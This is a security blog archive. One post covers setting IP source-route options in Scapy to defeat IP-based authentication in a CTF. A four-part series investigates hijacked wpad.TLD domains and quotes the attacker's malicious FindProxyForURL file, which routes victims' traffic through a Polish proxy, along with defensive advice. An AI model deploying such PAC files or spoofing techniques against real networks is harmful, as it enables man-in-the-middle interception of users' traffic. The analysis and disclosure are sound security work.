Archive for category Security

Setting IP options in Scapy

Dur­ing this year iCTF (the world largest online hack­ing com­pe­ti­tion — very cool) my team faced the prob­lem of set­ting an IP header option in Scapy. That was needed to break a ser­vice that was rely­ing on IP addresses for authentication.

Now, Scapy is an awe­some project, but it lacks a bit on the doc­u­men­ta­tion side, as most of it is com­posed by a bunch of slides. Since IP options are over­looked in the docs and there is noth­ing find­able on the web that shows how to set them, I’ll post it here hop­ing to help some future fel­low googler — that might as well be future me.

Option to set: Loose Route/Record Route (the oth­ers work just the same):

>>> ip=IP(src="1.1.1.1", dst="8.8.8.8", options=IPOption('\x83\x03\x10'))
>>> ip.show2()
###[ IP ]###
version= 4L
ihl= 6L
tos= 0x0
len= 24
id= 1
flags=
frag= 0L
ttl= 64
proto= ip
chksum= 0xd4d0
src= 1.1.1.1
dst= 8.8.8.8
\options\
|###[ IP Option Loose Source and Record Route ]###
|  copy_flag= 1L
|  optclass= control
|  option= loose_source_route
|  length= 3
|  pointer= 16
|  routers= []
|###[ IPOption_EOL ]###
|  copy_flag= 0L
|  optclass= contro
|  option= end_of_list

The ‘\x83\x03\x10’ has been cre­ated fol­low­ing the linked specs (\x83 is the type of the option, \x03 is the length, \x10 is the pointer).

Note that if you for­get the IPOp­tion() bit, your packet will be printed cor­rectly with show()/show2() but will refuse to be sent on the net­work. Instead, it will show this error (here for the sake of search engine indexing):

>>> send(IP(src="1.1.1.1", dst="8.8.8.8", options='\x83\x03\x10'))
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 247, in send
    __gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
  File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 230, in __gen_send
    s.send(p)
  File "/usr/lib/pymodules/python2.6/scapy/arch/linux.py", line 384, in send
    sx = str(ll(x))
  File "/usr/lib/pymodules/python2.6/scapy/arch/linux.py", line 382, in <lambda>
    ll = lambda x:conf.l2types[sn[3]]()/x
  File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 260, in __div__
    cloneB = other.copy()
  File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 140, in copy
    clone.fields[k]=self.get_field(k).do_copy(clone.fields[k])
  File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 401, in do_copy
    return map(lambda p:p.copy(), x)
  File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 401, in <lambda>
    return map(lambda p:p.copy(), x)
 
AttributeError: 'str' object has no attribute 'copy'

3 Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part IV

If you use fire­fox on a GNU/Linux machine, you can help us in find­ing which sites are the tar­gets of the Wpad exploit we blogged about (see part 3, part 2 and part 1 ).

Alessan­dro and I have writ­ten a script that checks the WPAD ital­ian reg­u­lar expression,

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") &amp;&amp; !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
        return "DIRECT";
}

against the browser his­tory. Please make sure to close fire­fox before run­ning the script (since it accesses directly its his­tory data­base, which is locked when the browser is run­ning), and please report any pos­i­tive matches. Down­load the script by fol­low­ing this link.

No Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part III

Some weeks ago I (Jacopo Cor­betta) and Luca Inv­ernizzi wrote about a curi­ous Man-In-The-Middle poten­tial attack explot­ing flaws in the Web Proxy Auto­matic Dis­cov­ery (WPAD) and DNS pro­to­cols. Long story short, if you reg­is­ter a wpad.domain name you might be able to per­form a very stealthy Man-In-The-Middle attack. Now, DNS is com­pli­cated and pro­grams are buggy, so hijack­ing a wpad.Top-Level-Domain name like wpad.com (or wpad.it or (!) wroclaw.pl) could expose a lot of com­put­ers to your attack.

You might recall that I was puz­zled by the con­tent of wpad.it/wpad.dat and won­dered what Ital­ian sites were tar­geted. Then Luca pointed out it was reg­is­tered by a pol­ish guy, and that he iden­ti­fied one of the pos­si­ble tar­gets as systempartnerski.pl.

We had in mind to run some analy­sis and then alert the reg­is­trars before post­ing again, but since the WPAD topic got atten­tion on Bug­Traq yes­ter­day it may be more timely to pub­lish our results now.

UPDATE: The wpad.dat served by the pol­ish guy changed! It appears they removed the site iden­ti­fied by Luca! The file was still in the orig­i­nal form when we reported our find­ings to the Ital­ian secu­rity mail­ing list sikurezza.org (see this mes­sage posted on 21/05, Alessan­dro posted our results on 18/05). This thing is get­ting inter­est­ing... Any­way, here’s the new file:

function FindProxyForURL(url, host) {
        //regular expressions supported?
        if ( shExpMatch(url, "http*//*g*ad*nd*c*m*sh*ds*js") ) return "PROXY 72.55.164.182:80";
        return "DIRECT";
}

Hunt­ing for WPAD exploits

As we wrote before, the only reli­able list of effec­tive top level domains is the one used in the Mozilla code, pub­licly main­tained at publicsuffix.org. Each of these domains — if reg­is­tered — could hide a mali­cious wpad.dat with poten­tially wide reach.

We think security-conscious DNS reg­is­trars should deny any request for these names — regard­less of whether the under­ly­ing WPAD vul­ner­a­bil­ity is wide­spread or not, we should do every­thing in our power to reduce the attack potential.

In our first ran­dom probes, we found the same strange wpad.dat on wpad.it, wpad.cz and wpad.pl But then we got curi­ous: how com­mon is this prob­lem? How many wpad.dats are found in the wild? So I wrote a small python script which attempted to resolve all wpad.tld names and to retrieve the asso­ci­ated wpad.tld/wpad.dats.

The TLD menace

There are some­thing like 3370 top-level-domains in the publicsuffix.org list. 122 wpad.top-level-domain are actu­ally reg­is­tered and return an IP address. 62 of them return data when asked for a wpad.dat over HTTP.

11 of those wpad.dats look like generic “domain park­ing” pages. I am not com­pletely sure, since I don’t speak all those lan­guages. Here’s the list:

.ar.com
.cm
.gouv.rw
.ph
.st
.tv
.cg
.co.st
.kiev.ua
.rw
.tk

The wpad.cn/wpad.dat and wpad.net.ua/wpad.dat also look like some kind of redi­rect pages. This brings the total of innocu­ous1 domains to 13.

The wpad domains for Switzer­land and Liecht­en­stein (.ch and .li) return a “neu­tral” wpad.dat (that is, no proxy for any URL). For .tsaritsyn.ru and .volgograd.ru an empty file is returned. I don’t know if this means that the wpad domain name was claimed by some good guy (like the one who reg­is­tered wpad.com, for exam­ple). To be com­pletely sure we would need to per­form the query from Switzer­land or Rus­sia.2

The wpad.dats for vn.ua, ptz.ru and karelia.ru look quite com­pli­cated and might even be legit­i­mate prox­y­ing attempts by a regional ISP. Addi­tional inves­ti­ga­tion would be required. Here are the files.

The remain­ing 42 wpad domains were serv­ing exactly the same wpad.dat file (now they have changed it! See our update on top) (indented for clarity):

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || 
             (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") &amp;&amp; 
             !shExpMatch(url, "http*//*n*o.*")) ) 
        { 
                return "PROXY 72.55.164.182:80; DIRECT";
        }
        return "DIRECT";
}

All of these domains look have prob­a­bly been reg­is­tered by the same guy (even if WHOIS records are incon­clu­sive). The whois for wpad.pl even has his name (don’t know if it is accu­rate, though, so we’ll avoid post­ing names). Here is the list of affected domains:

.asia
.at
.be
.bialystok.pl
.biz.pl
.bydgoszcz.pl
.cc
.co.at
.com.es
.com.pl
.com.tw
.cz
.edu.pl
.es
.in
.it
.katowice.pl
.name
.net.cn
.net.in
.net.pl
.nom.es
.olsztyn.pl
.opole.pl
.org.cn
.org.es
.org.in
.org.pl
.org.tw
.pl
.radom.pl
.ro
.rzeszow.pl
.sk
.slask.pl
.szczecin.pl
.tw
.warszawa.pl
.waw.pl
.wroclaw.pl
.ws
.zgora.pl

As you can see, our friend has been able to grab the global wpad domain for 12 coun­tries includ­ing Poland, Italy, Spain, Aus­tria, Bel­gium, the Czech Repub­lic, Roma­nia and India.

Final thoughts and mysteries

The most obvi­ous rec­om­men­da­tion is that you reg­is­ter wpad.yourdomain.com in your orga­ni­za­tion DNS (e.g. since our beloved school has sssup.it and we admin­is­trate the allievi.sssup.it sub­do­main, we have asso­ci­ated wpad.allievi.sssup.it with a mean­ing­less IP and we’ll rec­om­mend the net­work staff to do the same with wpad.sssup.it). This will imme­di­ately stop the search for a wpad.dat by your clients.

We would also rec­om­mend reg­is­trars to delete wpad.domain entries or at least to avoid accept­ing new ones. As time allows (the exam ses­sion is near!) we’ll bring this mat­ter to the atten­tion of the reg­is­trar admins, let’s hope they lis­ten to us. If some­one with a big name is read­ing this (cool!), you might wish to con­tact some DNS authorities.

While Luca cracked the sec­ond wild­card expres­sion (http*//*s*st*mp*tn*sk*p*), we still have no idea about which sites are tar­geted by the first one (http://*g*ad*nd*c*m*sh*ds*js, maybe a JavaScript file?). And why did they use such a wide exclu­sion pat­tern (http*//*n*o.*) in the orig­i­nal file? Also, the proxy isn’t work­ing for us — maybe they are answer­ing only to IPs in Poland?

Now that some days ago the pol­ish guys changed their wpad.dat we won­der what should be our next move... and what will be their next move! We’ll post updates here, so stay tuned.

  1. The wpad.dat file has to be in a spe­cial Java-Script like for­mat, see findproxyforurl.com for details []
  2. The wpad.ch server might be serv­ing a harm­less wpad.dat to for­eign hunters and a mali­cious one to domes­tic vic­tims (of course, this applies to all domains in this list — with the pos­si­ble excep­tion of Italy, our home coun­try) []

, , , ,

2 Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part II

After read­ing Jacopo’s arti­cle on WPAD, I’ve tried to under­stand the Ital­ian global wpad.it/wpad.dat:

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") &amp;&amp; !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
        return "DIRECT";
}

The proxy

First thing that con­cerned me is that the IP address used as proxy is pol­ish:
$host 72.55.164.182
182.164.55.72.in-addr.arpa domain name pointer wpad.pl

It’s reg­is­tered to a guy in Wlo­clawek, and it’s been up since Decem­ber 2008, so it’s pretty new.  The hosted site is syn­da­cated, which it’s usu­ally a fishy sign.

The syn­tax

The scripts pro­vides a fall back pol­icy to direct con­nec­tion to avoid server over­load, as described in wikipedia

 return "PROXY 72.55.164.182:80; DIRECT"

The reg­u­lar expression

I’ve down­loaded Alexa top 1-million sites list, which is daily updated, and I dis­cov­ered that the sec­ond reg­u­lar expression,

"http*//*s*st*mp*tn*sk*p*"

gets one and only one match: a pol­ish inter­net trad­ing site.

$cat top-1m.csv |sed -ne "s/.*s.*st.*mp.*tn.*sk.*p.*/&amp;/p"
154967,systempartnerski.pl

The first reg­u­lar expres­sion, even with­out the ini­tial and final part, does not match any site in Alexa first million.

, , , ,

No Comments

The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part I

The net­work here at Sant’Anna School of Advanced Stud­ies is quite com­pli­cated, so some­times the only way to solve a con­nec­tiv­ity prob­lem is to open Wire­shark and start look­ing around. As you may know, Win­dows boxes are quite chatty and they love to send out Net­BIOS broad­cast pack­ets to resolve names, elect popes, fight back with anti-popes, and so on. But this time I noticed some­thing strange in the broad­cast jam: a PC was con­ti­nously try­ing to reach the inex­is­tent WPAD.SSSUP.IT machine.

I got curi­ous, looked up what WPAD is, and found a cou­ple of inter­est­ing things.

What the heck is this WPAD thing?

It turns out Inter­net Explorer devel­op­ers thought an orga­ni­za­tion might wish to set up elab­o­rate rules for www prox­y­ing. There­fore, they devised a way for net­work admins to auto­con­fig­ure IE proxy set­tings: the Web Proxy Auto­matic Dis­cov­ery Pro­to­col (WPAD).  All major browsers cur­rently sup­port this fea­ture. Note that many appli­ca­tions on Win­dows default to fol­low­ing IE proxy set­tings, so the Man-In-The-Middle poten­tial is very high.

Basi­cally, the browser issues a request for http://wpad.yourdomain.com/wpad.dat 1, which should con­tain a Javascript-like func­tion called Find­Prox­y­ForURL. The func­tion can use wild­card match­ing to spec­ify dif­fer­ent prox­ies for dif­fer­ent addresses. All the gory details are avail­able at www.findproxyforurl.com.

Exploit­ing WPAD

Things can get com­pli­cated if you have a sub­do­main (e.g. if your com­puter is called bob.office.yourdomain.com then wpad.office.yourdomain.com is tried too), but the key point is the same: if some­one hijacks one of your wpad names, sophis­ti­cated Man-In-The-Middle attacks are pos­si­ble. Since net­work admins often for­get to setup a wpad host for their domain, Win­dows may try to query in mul­ti­ple ways — even by broad­cast­ing a Net­BIOS request, which is triv­ial to inter­cept on a local net­work.2

Now, auto-configuration of net­work para­me­ters is very use­ful. Tools like DHCP and traspar­ent prox­ies are in wide use. How­ever, this kind of auto-configuration brings risks: rogue DHCP servers can be trans­par­ent to users and pos­si­bly avoid detec­tion. DHCP is a very well known pro­to­col and net­work admins have long learnt to watch out for sus­pi­cious DHCP activ­ity. WPAD is — in com­par­i­son — a some­what obscure pro­to­col. Buggy pro­grams (and lax poli­cies by domain reg­is­trars) cre­ate a sneaky exploit opportunity.

The DNS beast

As you might have guessed, Win­dows should stop short of the top-level domain .com in its quest for a wpad.dat. How­ever, two issues come into play:

  1. On cer­tain buggy ver­sions, the global wpad.com/wpad.dat is requested. Now, the wpad.com domain has been taken by a (let’s hope) good guy, who chose not to serve a wpad.dat. But what about other Top-Level-Domains (TLDs) like wpad.cz or wpad.it?
  2. Some coun­tries (like Italy) allow you to reg­is­ter domain names right under their national suf­fix (e.g. our beloved School has sssup.it). Other coun­tries (the United King­dom, for instance) chose to mimic the global TLD struc­ture, so their addresses look like google.co.uk, ox.ac.uk, and so on. Some even mix the two policies.

Com­bine these two facts, and you get a big mess. Issue #2 means that when you see a domain name it is very hard to tell which is the TLD and which is the spe­cific domain name. It is not imme­di­ately obvi­ous, for instance, that pi.it is a global TLD (reserved for the ital­ian province of Pisa) while sns.it is the site of our arch-rival, the infa­mous Scuola Nor­male Superiore.

There is no “good” solu­tion to this prob­lem. Mozilla devel­op­ers ended up cret­ing a list of “Effec­tive TLDs“3 which the browser treats like global TLDs.

Each item on this list is an exploit oppor­tu­nity for the WPAD bug. Just reg­is­ter the wpad.it domain and you poten­tially have con­trol of all buggy machines with a .it name

Attack on Italy: the wpad.it mistery

You might think reg­is­trars would think twice before assign­ing a “wpad.country” domain. It turns out that some­times this is not the case.

Some global wpad domains do exist and many of them serve a mali­cious wpad.dat. I’m gath­er­ing data and I’ll post when I have enough to make an inter­est­ing summary.

But take a look at this, the global wpad.it/wpad.dat:

function FindProxyForURL(url, host) {
        //regular expression/complexity supported?
        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") &amp;&amp; !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
        return "DIRECT";
}

What the hell is this? It appears the attacker is tar­get­ing some spe­cific web­sites, but the wild­card is quite com­pli­cated. Any idea of what it might be?

UPDATE: found this same file on wpad.cz, full analy­sis in progress.

UPDATE: a more in depth analy­sis here and here

  1. Win­dows can also read its set­tings from DHCP and even from a spe­cial DNS entry. The offi­cial Microsoft doc­u­men­ta­tion is some­what sparse, but detailed infor­ma­tion can be found in the draft sub­mit­ted for stan­dard­iza­tion (pre­vi­ous ver­sion), inTech­Net, in some knowl­edge base arti­cles, and of course on Wikipedia. Another file which can be requested is wspad.dat, which has a dif­fer­ent for­mat. []
  2. Even when a WINS server is present, nam­ing your com­puter WPAD.YOURDOMAIN.COM might do the trick. []
  3. Browsers need this list to enforce cookie restric­tions (what if some­one was able a cookie on all “.co.uk” domains?). The list is now pub­licly main­tained at publicsuffix.org. []

, , , ,

1 Comment